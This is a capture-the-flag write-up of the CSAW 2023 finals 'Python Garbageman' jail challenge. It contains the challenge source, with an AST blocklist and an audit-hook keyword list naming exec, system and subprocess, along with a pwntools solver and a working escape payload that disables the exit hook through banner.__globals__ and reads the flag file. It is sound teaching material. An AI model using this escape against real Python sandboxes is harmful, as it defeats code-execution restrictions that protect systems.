Python Jail Escape CSAW Finals 2023
Python jail escapes have evolved into their own CTF category over the past years.
I recently gave a talk and wrote a blog post for my CTF team, where I give an introduction to the topic and show some classical examples.
CSAW CTF finals I played with team polyflag, overall the CTF was pretty mid with a lot of guessing and an unacceptable required VPN setup, where we had to install some random VPN client on our machines (with sudo curl ... | bash
of course) and then had to authenticate with a Google, LinkedIn, Microsoft or GitHub account.
Well, their challenge Python Garbageman also did not go to plan, and I found an unintended solution.
Still, there are a few learnings from the challenge worth writing up.
The challenge provides a Dockerfile
FROM ubuntu:22.04@sha256:2b7412e6465c3c7fc5bb21d3e6f1917c167358449fecac8176c6e496e5c1f05f
RUN apt-get update && apt-get install -y socat python3
RUN useradd -ms /bin/sh pyjail
WORKDIR /home/pyjail
COPY ./chall.py ./
COPY ./flag.txt /home/pyjail/flag.txt
RUN chown -R root:pyjail /home/pyjail && \
chmod 750 /home/pyjail && \
chmod 550 /home/pyjail/chall.py && \
chown root:pyjail /home/pyjail/flag.txt && \
chmod 444 /home/pyjail/flag.txt
EXPOSE 13336
CMD ["socat", "-T60", "TCP-LISTEN:13336,reuseaddr,fork,su=pyjail","EXEC:/home/pyjail/chall.py 2>&1"]
and chall.py
#!/usr/bin/env python3
import ast
import sys
BANNED = {
#def not
ast.Import,
ast.ImportFrom,
ast.With,
ast.alias,
ast.Attribute,
ast.Constant,
#should be fine?
ast.Subscript,
ast.Assign,
ast.AnnAssign,
ast.AugAssign,
ast.For,
ast.Try,
ast.ExceptHandler,
ast.With,
ast.withitem,
ast.FunctionDef,
ast.Lambda,
ast.ClassDef,
#prob overkill but should be fine
ast.If,
ast.And,
ast.comprehension,
ast.In,
ast.Await,
ast.Global,
ast.Gt,
ast.ListComp,
ast.Slice,
ast.Return,
ast.List,
ast.Dict,
ast.Lt,
ast.AsyncFunctionDef,
ast.Eq,
ast.keyword,
ast.Mult,
ast.arguments,
ast.FormattedValue,
ast.Not,
ast.BoolOp,
ast.Or,
ast.Compare,
ast.GtE,
ast.ImportFrom,
ast.Tuple,
ast.NotEq,
ast.IfExp,
ast.alias,
ast.UnaryOp,
ast.arg,
ast.JoinedStr,
}
myExit = exit
def gadget(a,b):
a.myExit=b
def hook(event, args):
if not hook.exec and 'exec' in event:
hook.exec = True
return
strr = event + " ".join(f"{x}" for x in args)
strr = strr.lower()
if any(i in strr for i in [
'exec',
'print',
'import', #this is faulty
'system',
'flag',
'spawn',
'fork',
'open',
'subprocess',
'sys',
'ast',
'os',
'audit',
'hook'
'compile',
'__new__',
'frame']):
pass
print("BONK audit!", event + " " + " ".join(f"{x}" for x in args))
print('calling myExit', type(myExit), myExit)
myExit()
pass
print("audit!", event + " ".join(f"{x}" for x in args))
hook.exec = False
def banner():
print("Hello world! Please input your program here: ")
code = ""
out = ""
while "__EOF__" not in out:
code += out + "\n"
out = input("")
for n in ast.walk(ast.parse(code)):
if type(n) in BANNED:
print("BAD CODE! BONK!: " + str(type(n)))
# exit()
return code
code = banner()
print('\nmyexit outside', id(myExit))
print('\nbuiltins outside', id(__builtins__))
code = compile(code, "<CSAW23>", "exec")
# safer
sys.addaudithook(hook)
exec(code, {"__builtins__":__builtins__, "gadget": gadget, "banner": banner})
Let’s analyse what is going on here.
It starts with calling banner
, which first reads in python code.
Second it traverses the AST and checking that no BANNED
AST node is persent.
Next it installs a listener hook
for audit hooks.
Audit hooks are an interesting concept that trigger for any potentially critical operation such as import
, open
, exec
, and many more.
The audit hook events of the CPython implementation are specified in the Audit events table.
Audit hooks (PEP 578) are meant to trigger whereever an event occurs at runtime, no matter how deep in an API and even in native bindings.
While this is a pretty nice API, I would access this as a best effort service that I would not trust to fully work for any edge case or obscure package.
The challenge checks for the occurrence of some critical events.
The code is then exec
ed.
Notably, we get all builtins and the functions gadget and banner.
However, my solution didn’t even use gadget
I could rewrite it to not use banner.
Let’s see what we can do, to work around the restrictions. Taking the set difference of banned and the dict of the ASt module, we allowed every to only use the AST nodes that occur in:
{'unaryop', '_Unparser', 'RShift', '_dims_getter', 'Delete', 'dump', 'NodeTransformer', 'loader', 'get_sourcesegment', 'SINGLE_QUOTES', 'Num', 'walk', 'NamedExpr', 'NameConstant', 'MatchOr', 'LtE', 'Del', 'Store', 'Break', 'ExtSlice', 'Ellipsis', 'IntEnum', 'increment_lineno', 'AsyncWith', 'sys', 'stmt', 'file', 'expr', 'Interactive', 'AugLoad', 'Index', 'TryStar','Expr', 'Yield', 'match_case', 'contextmanager', 'fix_missing_locations', '_getter', 'unparse', '_dims_setter', 'MatchValue','FloorDiv', 'PyCF_TYPE_COMMENTS', 'YieldFrom', 'Is', 'Pow', 'literal_eval', '_new', '_ALL_QUOTES', 'operator', '_ABC', 'Match', 'Set', 'cached', '_const_types_not', 'Bytes', 'FunctionType', 'nullcontext', 'auto', 'IsNot', 'TypeIgnore', 'MatchClass', 'Call', 'get_docstring', 'MatchStar', 'Expression', 'excepthandler', 'Starred', 'Param', 'Sub', 'NotIn', 'name', 'MatchSequence', 'Raise', 'parse', 'AugStore', 'BinOp', 'AST', 'Name', 'USub', 'UAdd', '_Precedence', 'BitAnd', '_INFSTR', '_const_types', 'copy_location', '_simple_enum', 'doc', 'MatchAs', 'builtins', 'spec', 'type_ignore', 'Str', 'Nonlocal', 'cmpop', 'main', 'iter_child_nodes', 'MatMult', 'Mod', 'Module', 'BitXor', 'GeneratorExp', 'Load', '_setter', 'Assert', 'boolop', 'slice', '_const_node_type_names', '_splitlines_no_ff', 'expr_context', '_MULTI_QUOTES', 'NodeVisitor', 'BitOr', 'package', 'Div', 'Continue', 'PyCF_ALLOW_TOP_LEVEL_AWAIT', 'AsyncFor', 'MatchMapping', 'LShift', 'pattern', 'DictComp', 'mod', 'SetComp', 'Invert', '_pad_whitespace', 'While', 'MatchSingleton', 'PyCF_ONLY_AST', 'iter_fields', 'Suite', 'Pass', 'Add'}
Annoyingly, we are not allowed to use constants. However, we have all builtins and can build our constants ourselves. We get a number, specifically the number three from.
len(dir())
With add we can have all multiples of three. To get all natural numbers also a one would be nice to have. We get this with
pow(len(dir()), len(set()))
With chr
and add on strings we can construct arbitrary strings.
In the final solve I only use strings, so this low effort code replaces all string literals with this construction and sends it to the remote.
import pwn
import re
# p = pwn.remote('localhost', 13336)
p = pwn.remote('mandf.csaw.io', 13336)
with open('payload.py', 'rb') as f:
payload = f.read().decode()
strings = re.findall("'(.*?)'", payload)
for string in set(strings):
string_replace = []
for c in string:
o = ord(c)
thress = o // 3
ones = o % 3
thress_replacements = ['len(dir())'] * thress
ones_replacements = ['pow(len(dir()), len(set()))'] * ones
c_replace = 'chr(' + ' + '.join([*thress_replacements, *ones_replacements]) + ')'
string_replace.append(c_replace)
string_replace = ' + '.join(string_replace)
payload = payload.replace(f"'{string}'", string_replace)
print(payload)
p.sendlineafter(b'here: ', payload.encode())
p.sendline(b'__EOF__')
print(p.recvall(1).decode())
Okay, next we are not allowed to access attributes (i.e. using bla.blub
).
Here I first used Python 3.10 matching, but I didn’t even need to in the final solve, because getattr
is more convenient.
For example, we can get the __globals__
of the parent scope by doing getattr
on the banner
function.
getattr(banner, '__globals__')
Okay, this is something to work with.
When we trigger a forbidden event at runtime, the parent code calls myExit
which is assigned to be exit
.
We need to find a way to prevent the code from exiting.
The idea is to reassign myExit
with a NOP.
The NOP at our disposal is bool()
.
It has no side effects and takes no arguments.
The plan for the reassignment is to replace myExit
in the __globals__
of the parent.
__globals__
is a dict
, but we are not allowed to access it using subscript (i.e. __globals__['myExit'] = bool()
).
Instead, we use pop
and setdefault
to do this.
Again, we use getattr
to this time obtain a function, we can directly call.
It is still bound to that object.
With that we can disable myExit
, open
, read
, and print
the flag.
getattr(getattr(banner, '__globals__'), 'pop')('myExit')
getattr(getattr(banner, '__globals__'), 'setdefault')('myExit', bool)
print(getattr(open('flag.txt', 'r'), 'read')())